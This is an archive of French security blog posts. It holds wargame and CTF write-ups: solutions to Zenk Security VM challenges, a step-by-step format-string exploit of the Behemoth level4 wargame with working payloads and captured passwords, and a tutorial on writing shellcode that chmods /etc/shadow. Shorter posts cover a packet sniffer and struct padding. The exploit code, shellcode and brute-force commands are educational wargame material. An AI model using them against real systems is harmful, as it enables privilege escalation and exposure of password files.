jeudi 6 mai 2010

Huhu



Le Crédit Lyonnais :p

samedi 17 avril 2010

VM Zenk Security [Applicative] N°2

Bonsoir, voici enfin la seconde VM spéciale Zenk!

Vous êtes sensés l'utiliser en tant que black box, c'est à dire l'attaquer de l'extérieur, comme si vous n'y aviez pas accès physiquement.
La VM tourne sous VMWare.

http://www.megaupload.com/?d=4H5Q6RYB

Voila pour les infos:
[root@ZenkApp2 ~]# uname -r
2.6.32-ARCH

L'ASLR est activé, la pile est exécutable, les binaires sont compilés avec l'option -fno-stack-protector

Voici les instructions:

Serveur ssh port 22
- Login : user1
- Pass : user1

Level1
Objectif : Lire le fichier /home/user2/pass
Indice : http://www.milw0rm.com/papers/7

Level2
Objectif : Lire le fichier /home/user3/pass
Indice : http://crypto.stanford.edu/cs155old/cs155-spring08/papers/formatstring-1.2.pdf http://plasticsouptaste.blogspot.com/2010/03/format-string-par-lexemple.html (Han le mec qui se fait de la pub...) http://www-users.rwth-aachen.de/Tilo.Mueller/ASLRpaper.pdf

Level3
Objectif : Lire le fichier /home/user4/pass
Indice : http://www-users.rwth-aachen.de/Tilo.Mueller/ASLRpaper.pdf

Level4
Objectif : Lire le fichier /root/pass
Indice : http://www-users.rwth-aachen.de/Tilo.Mueller/ASLRpaper.pdf

Je rajouterais des indices si besoin est, n'hésitez pas à poser vos questions.

jeudi 8 avril 2010

VM Zenk Security [Applicative] N°1

Bonjour!

Comme certains d'entre vous le savent déjà, je fais partie de la communauté Zenk Security pour laquelle j'ai réalisé une petite VM de challenges applicatifs.

Rien de compliqué, c'est une Debian 3.1 basée sur un kernel 2.4.27.

Elle est disponible ici:

http://rapidshare.com/files/373125517/VMZenk_App1.7z

C'est une VM qui doit être attaquée de l'extérieur (comme si on avait pas d'accès physique à la machine).

Il y a un serveur ssh sur le port 22, et nous connaissons le nom d'un utilisateur: user1 .

Niveau 1
Objectif: Obtenir un accès user1 à la machine
Indice: Nous savons que c'est un mot de passe court composé de caractères seulement.

Niveau 2
Objectif: Obtenir un accès user2 à la machine
Indice: Aucun


Niveau 3

Objectif: Lire le fichier /root/yeah
Indice: Aucun

Et voici donc mes solutions (Attention spoiler:)

Level1:
root@bt:/pentest/passwords/brutessh# ./brutessh.py -h 192.168.0.17 -u user1 -d ../wordlists/darkc0de.lst


Level2
#include <stdio.h>
#include <string.h>

int main(void)
{
int nbnop=109;

char shellcode[] =
"\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80";

//Adresses de retour possibles (call *%eax):
// 0x80483bf
// 0x8048523
char retA[]="\xbf\x83\x04\x08";

char data[500];
char sysc[600];

memset(data,0,(sizeof(char))*500);
memset(sysc,0,(sizeof(char))*600);

int i=0;

printf("Prepare sc..\n");

strncat(data,shellcode,500);

printf("Prepare nop..\n");

for(i=0;i<(nbnop);i++)
{
strncat(data,"\x90",500);
}

strncat(data,retA,500);

printf("Prepare new eip..\n");

strncpy(sysc,"/home/user1/1 ",600);
printf("Prepare data..\n");

strncat(sysc,data,500);
printf("Try..\n");

system(sysc);
}


Level3
#include <string.h>

#define FILE_TO_READ "/root/yeah"

int main(void)
{
char junkdata[600];
char sysc[700];

printf("Prepare junkdata..\n");

memset(junkdata,0,(sizeof(char))*600);
memset(junkdata,0x41,(sizeof(char))*520);

strncat(junkdata,FILE_TO_READ,600);

printf("Prepare filename..\n");

strncpy(sysc,"/home/user2/2 ",600);

strncat(sysc,junkdata,700);

printf("Try..\n");

system(sysc);
}

vendredi 5 mars 2010

Format String par l'exemple

Behemoth level4 [Intruded.net]
behemoth.intruded.net : 10103
user : level4
pass : Shai#N9b

level4@behemoth:~$ cd /wargame/
level4@behemoth:/wargame$ ./level4
Identify yourself: 5m0k3
Welcome, 5m0k3

Voyons si un Bof est possible :

level4@behemoth:/wargame$ (python -c "print 'A'*512") | ./level4
[...]
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
level4@behemoth:/wargame$

Non... Peut etre une format string?

level4@behemoth:/wargame$ (python -c "print '%08x.%08x.%08x.%08x'") | ./level4
Identify yourself: Welcome, 000000c8.b7fe0300.b7eb634c.b7ebea1c

Ok, regardons donc le binaire de plus près...


level4@behemoth:/wargame$ gdb level4

0x080483f4 <main+0>:    push   %ebp
0x080483f5 <main+1>: mov %esp,%ebp
0x080483f7 <main+3>: sub $0xe8,%esp
0x080483fd <main+9>: and $0xfffffff0,%esp
0x08048400 <main+12>: mov $0x0,%eax
0x08048405 <main+17>: add $0xf,%eax
0x08048408 <main+20>: add $0xf,%eax
0x0804840b <main+23>: shr $0x4,%eax
0x0804840e <main+26>: shl $0x4,%eax
0x08048411 <main+29>: sub %eax,%esp
0x08048413 <main+31>: movl $0x3ed,(%esp)
0x0804841a <main+38>: call 0x80482ec <seteuid@plt>
; setuid(1005) : La il nous mache un peu le travail...
0x0804841f <main+43>: movl $0x8048568,(%esp)
0x08048426 <main+50>: call 0x804831c <printf@plt>
; printf("Identify yourself:")
0x0804842b <main+55>: mov 0x8049698,%eax
0x08048430 <main+60>: mov %eax,0x8(%esp)
0x08048434 <main+64>: movl $0xc8,0x4(%esp)
0x0804843c <main+72>: lea 0xffffff28(%ebp),%eax
0x08048442 <main+78>: mov %eax,(%esp)
0x08048445 <main+81>: call 0x80482fc <fgets@plt>
; fgets() pour saisir le nom
0x0804844a <main+86>: movl $0x804857c,(%esp)
0x08048451 <main+93>: call 0x804831c <printf@plt>
; printf("Welcome")
0x08048456 <main+98>: lea 0xffffff28(%ebp),%eax
0x0804845c <main+104>: mov %eax,(%esp)
0x0804845f <main+107>: call 0x804831c <printf@plt>
; printf(nom) <= Format String Vulnerability
0x08048464 <main+112>: mov $0x0,%eax
0x08048469 <main+117>: leave
0x0804846a <main+118>: ret


On va maintenant explorer un peu la stack pour savoir a partir de quel argument on retombe sur le buffer qu'on controle...
(Je vous invite a lire ceci si arrivé ici rien n'est clair pour vous : http://crypto.stanford.edu/cs155old/cs155-spring08/papers/formatstring-1.2.pdf)

level4@behemoth:/wargame$ (python -c "print '%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x'") | ./level4
Identify yourself: Welcome, 000000c8.b7fe0300.b7eb634c.b7ebea1c.b7ec3b6e.00000000.00000000.78383025.3830252e.30252e78

On voit donc qu'on atteind notre buffer a partir du 8eme argument (car il contient nos %.08x ...)

Le but sera donc de réécrire un pointeur particulier, pointeur sur une fonction vers laquelle le programme sautera a un moment donné... Tant qu'a faire, autant que cette fonction soit la notre :p.

On décide ici de réécrire le pointeur .dtor => Destructeur de la fonction main(), qui qera logiquement exécuté a la fin du programme. Trouvons tout d'abord son adresse:

level4@behemoth:/wargame$ objdump -x level4|grep dtor
16 .dtors 00000008 08049594 08049594 00000594 2**2
08049594 l d .dtors 00000000 .dtors
08049594 l O .dtors 00000000 __DTOR_LIST__
08048390 l F .text 00000000 __do_global_dtors_aux
08049598 l O .dtors 00000000 __DTOR_END__ ================> ICI :)

Donc il faudra écrire a l'adresse 0x08049598.

Pour faire simple, on va placer un shellcode dans le buffer et sauter dessus.

On va tout d'abord déterminer l'adresse de notre buffer a la sale, ensuite on vérifiera proprement:

level4@behemoth:/wargame$ gdb level4
(...)
(gdb) b *main +118
Breakpoint 1 at 0x804846a

donc on pose un breakpoint juste avant le ret de main()

(gdb) r
Starting program: /wargame/level4
Identify yourself: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Welcome, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Breakpoint 1, 0x0804846a in main ()
(gdb) x/256x $esp-256
0xbffff91c: 0x08048464 0xbffff940 0x000000c8 0xb7fe0300
0xbffff92c: 0xb7eb634c 0xb7ebea1c 0xb7ec3b6e 0x00000000
0xbffff93c: 0x00000000 0x41414141 0x41414141 0x41414141
0xbffff94c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff95c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff96c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff97c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff98c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff99c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff9ac: 0x41414141 0x41414141 0x00000a41 0x28000000

Et on tombe direct sur notre buffer (rempli de 0x41='A') dont l'adresse est : 0xbffff940

Maintenant proprement (Logiquement, juste avant printf(nom), l'adresse de nom est posée sur la pile , donc esp contient un pointeur vers notre buffer):

(gdb) d
Delete all breakpoints? (y or n) y
(gdb) b *main+107
Breakpoint 2 at 0x804845f
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /wargame/level4
Identify yourself: AAAA

Breakpoint 2, 0x0804845f in main ()

(gdb) x/x $esp
0xbffff920: 0xbffff940
(gdb) x/s 0xbffff940
0xbffff940: "AAAA\n"

Donc 0xbffff940 est bien l'adresse de notre buffer. Mais on doit lui ajouter 8, sinon on ne tombera pas au bon endroit, vous comprendrez pourquoi dans quelques linges : 0xbffff940+8=0xbffff948

C'est donc cette adresse que l'on va devoir écrire à 0x08049598 (__DTOR_END__)

Pour les format string, on écrit l'adresse en 2 temps. Le plus petit bloc en premier et le plus grand ensuite.

bfff = 49151 base 10
f948 = 63816 base 10

Notre exploit aura donc la forme:
(Pour rappel %n permet d'écrire le nombre de caractères déja affichés par printf à une adresse donéne en argument... On utilise ici %hn car on veut érire l'adresse en deux fois, on écrit donc 4 octets au lieu de 8. Référez vous au man printf() pour + d'infos)

[dtor+2][dtor][shellcode][%. (49151 -(8 + longueur shellode)) u%8$hn][%. (63816- (49151) u%8$hn]

On va utiliser le shellcode classique suivant:

"\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"

Qui fait 23 de long.

Donc:
On affichera d'abord 49120 caractères
Puis 63816-49151= 14665 caractères

[\x9a\x95\x04\x08][\x98\x95\x04\x08][\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80][%.49120u%8$hn][%.14665u%8$hn]

Vérifions ca sous gdb:

level4@behemoth:/wargame$ gdb level4

On pose un bp juste avant le ret de main()

(gdb) b *main+118
Breakpoint 1 at 0x804846a

On lance notre programme avec notre exploit en entrée (merci Ivan pour le trick)

(gdb) r < <(python -c "print '\x9a\x95\x04\x08' + '\x98\x95\x04\x08' + '\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80' + '%.49120u%8\$hn'+'%.14665u%9\$hn'")

(..)000000000003086877440

Breakpoint 1, 0x0804846a in main ()

on regarde ce qu'il y a dans .dorts:

(gdb) x/x 0x08049598
0x8049598 <__DTOR_END__>: 0xbffff948

Yeah :)
et maintenant on vérifie que 0xbffff948 pointe bien sur le début de notre shellcode:

(gdb) x/x 0xbffff948
0xbffff948: 0x99580b6a

C'est bien le cas.

On ajoute un cat a la fin pour ne pas perdre notre shell a cause de python....

(gdb) r < <(python -c "print '\x9a\x95\x04\x08' + '\x98\x95\x04\x08' + '\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80' + '%.49120u%8\$hn'+'%.14665u%9\$hn'" ; cat)
(...)0003086877440
id
uid=1004(level4) gid=1004(level4) groups=1004(level4)

Cela a l'air de fonctionner, sauf qu'on est sous gdb ;) donc pas de euid=level5

On quitte gdb et on test for real:

level4@behemoth:/wargame$ (python -c "print '\x9a\x95\x04\x08' + '\x98\x95\x04\x08' + '\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80' + '%.49120u%8\$hn'+'%.14665u%9\$hn'" ; cat) | ./level4
(...)000003086877440
id
Illegal instruction

Snif...

Je pense que c'est du au fait qu'on est plus dans un environnement de debug. Donc il peut y avoir un petit décalage pour l'adresse de buffer.
Qu'a cela ne tienne, on va rajouter une dizaine de nops au début de notre shellcode...

Cependant notre chaine va grandir de 10, donc il faut en prendre compte!

[dtor+2][dtor][shellcode][%. (49151 -(8 + longueur shellode +10nop)) u%8$hn][%. (63816- (49151) u%8$hn]

Donc:
On affichera d'abord 49110 caractères
Puis 63816-49110= 14706 caractères

(python -c "print '\x9a\x95\x04\x08' + '\x98\x95\x04\x08' + '\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90' '\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80' + '%.49110u%8\$hn'+'%.14706u%9\$hn'" ; cat) | ./level4

(....)086877440
id
uid=1004(level4) gid=1004(level4) euid=1005(level5) groups=1004(level4)
cat /home/level5/.passwd
aeJ/a`z6

Crac boum.

mardi 24 mars 2009

ShellCoding For Dummies

Aujourd'hui un petit cours de shellcoding (sous Linux).
Alors on va réaliser un petit shellcode qui effectue un "chmod 666 /etc/shadow".
Nous allons pour cela procéder par étapes:

1] Repérer le(s) appel(s) Système à utiliser.


Pour ca on va lire le fichier /usr/include/asm/unistd.h (ou regarder ici : unistd.h)

Voyons donc ce que nous renvoye un "cat /usr/include/asm/unistd.h |grep chmod":


sm0k3@localhost ~/Trash $ cat /usr/include/asm/unistd.h |grep chmod
#define __NR_chmod 15
#define __NR_fchmod 94
#define __NR_fchmodat 306



EDIT: Je vous conseille d'utiliser http://syscalls.kernelgrok.com/ au lieu de unistd.h, beaucoup plus pratique, vous en conviendrez!

On voit donc que l'identifiant de chmod est 15, notons bien ce chiffre.

2] Programmer notre Shellcode

xor %eax,%eax ; On met 0 dans eax
push %eax ; On dépose ce 0 sur la pile
mov $0xf,%al ; On met 0xf (15 quoi) dans al (partie basse de ax, lui meme partie basse de eax)
push $0x776f6461 ; On dépose "/etc/shadow" sur la pile
push $0x68732f63 ; Le 0 posé précedemment sert à terminer cette chaine
push $0x74652f2f ; (souvenez vous de \0 en C)
mov %esp,%ebx ; On stocke l'adresse de la chaine que l'on vient de poser sur la pile dans ebx
xor %ecx,%ecx ; On met 0 dans ecx
mov $0x1ff,%cx ; On met 0x1ff (777 en base octale) dans cx (partie basse de ecx)
int $0x80 ; On apelle l'interruption [donc chmod("/etc/shadow",777)] Note: 666 aurait suffit mais bon
inc %eax ; Comme chmod met 0 dans eax lorsqu'il réussi, on incrémente eax de 1 pour utiliser l'interruption exit
int $0x80 ; On apelle l'interruption


3] Assembler & Linker tout ca

$ as -o shellcode.o shellcode.asm
$ ld -o shellcode shellcode.o


4] Notre Shellcode




On voit bien notre shellcode sur la partie gauche de l'image, pret a etre recopié :)

#include "stdio.h"

int main(int argc, char *argv[])
{

char shellcode[] ="\x31\xc0\x50\xb0\x0f\x68\x61\x64\x6f\x77\x68\x63\x2f\x73\x68\x68\x2f\x2f\x65\x74\x89\xe3\x31\xc9\x66\xb9\xff\x01\xcd\x80\x40\xcd\x80";

printf("Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();

return 0;
}





Et voila :) have fun!

vendredi 20 mars 2009

A {Very} Basic Sniffer

Hello, bon c'est vrai que ça fait longtemps que j'ai pas posté :p j'avoue que je travaille peu ces temps ci! Ci joint la source (un peu) commentée d'un sniffer Unix basique utilisant les librairies LibPcap et LibNet. Le dossier compressé comprend un projet Code::Blocks, n'oubliez pas d'ajouter -lpcap et -lnet dans les options de link si ce n'est pas déja fait. La suite suivra sous peu (ajout du support des filtres...). Cette version est vraiment un premier jet, c'est juste un exemple d'utilisation de la libPcap en somme.

Mod_Sniffer

:]

lundi 19 janvier 2009

Data Structure Alignment

Spéciale pour Geo celle la :p.

Observons la source suivante:

  1. #include <stdio.h>

  2. #include <stdlib.h>

  3.  

  4. int main()

  5. {

  6.  

  7.     typedef struct {

  8.     short foo1; // 2 octets

  9.     int foo2; // 4 octets

  10.     } MaStructure;

  11.  

  12.     printf("VISUAL STUDIO 2005/2008\n");

  13.     printf("INT    SIZE :%i\n",sizeof(int));

  14.     printf("SHORT  SIZE :%i\n",sizeof(short));

  15.     printf("STRUCT SIZE :%i\n",sizeof(MaStructure));

  16.     system("pause");

  17.     return 0;

  18. }



Et voici la sortie obtenue ( Microsoft Visual C++ 2005 77915-009-0000007-41714 )




SOO? WTF? ben après quelques recherches :


Although the compiler (or interpreter) normally allocates individual data items on aligned boundaries, data structures often have members with different alignment requirements. To maintain proper alignment the translator normally inserts additional unnamed data members so that each member is properly aligned. In addition the data structure as a whole may be padded with a final unnamed member. This allows each member of an array of structures to be properly aligned.

Padding is only inserted when a structure member is followed by a member with a larger alignment requirement or at the end of the structure. By changing the ordering of members in a structure, it is possible to change the amount of padding required to maintain alignment. For example, if members are sorted by ascending or descending alignment requirements a minimal amount of padding is required. The minimal amount of padding required is always less than the largest alignment in the structure. Computing the maximum amount of padding required is more complicated, but is always less than the sum of the alignment requirements for all members minus twice the sum of the alignment requirements for the least aligned half of the structure members.

[...]

If the type "short" is stored in two bytes of memory then each member of the data structure depicted above would be 2-byte aligned. Data1 would be at offset 0, Data2 at offset 2 and Data3 at offset 4. The size of this structure would be 6 bytes.

The type of each member of the structure usually has a default alignment, meaning that it will, unless otherwise requested by the programmer, be aligned on a pre-determined boundary. The following typical alignments are valid for compilers from Microsoft, Borland, and GNU when compiling for x86:

* A char (one byte) will be 1-byte aligned.
* A short (two bytes) will be 2-byte aligned.
* An int (four bytes) will be 4-byte aligned.
* A float (four bytes) will be 4-byte aligned.
* A double (eight bytes) will be 8-byte aligned on Windows and 4-byte aligned on Linux.

Source: Wikipedia

Le mystère n'est donc plus, mais pourquoi ce padding??

Le compilateur aligne les structures en mémoire par rapport a l'architecture de la machine ( elles seront alignées sur 8 bits pour une architecture 32 bits) car l'adressage des variables se fait sur 32 bits et donc 4 octets. Les structures doivent donc toujours avoir une taille totalle qui soit un multiple de l'architecture (beurk c'est crade comme phrase). Cela est fait par le compilateur par soucis de performance.

On peut modifier la façon dont sera géré le Padding:

#pragma PACK()

Cependant, il est important de rester très prudent avec cette directive, car sa mauvaise utilisation peut entrainer une exception du type "Alignment Fault" et donc générer des cycles processeurs additionnels.

Connaitre la façon dont un compilateur gère le padding peut parfois être pratique, par exemple lors de l'exploitation de vulnérabilités du type débordement de tampons, cela nous permettra d'être moins approximatif.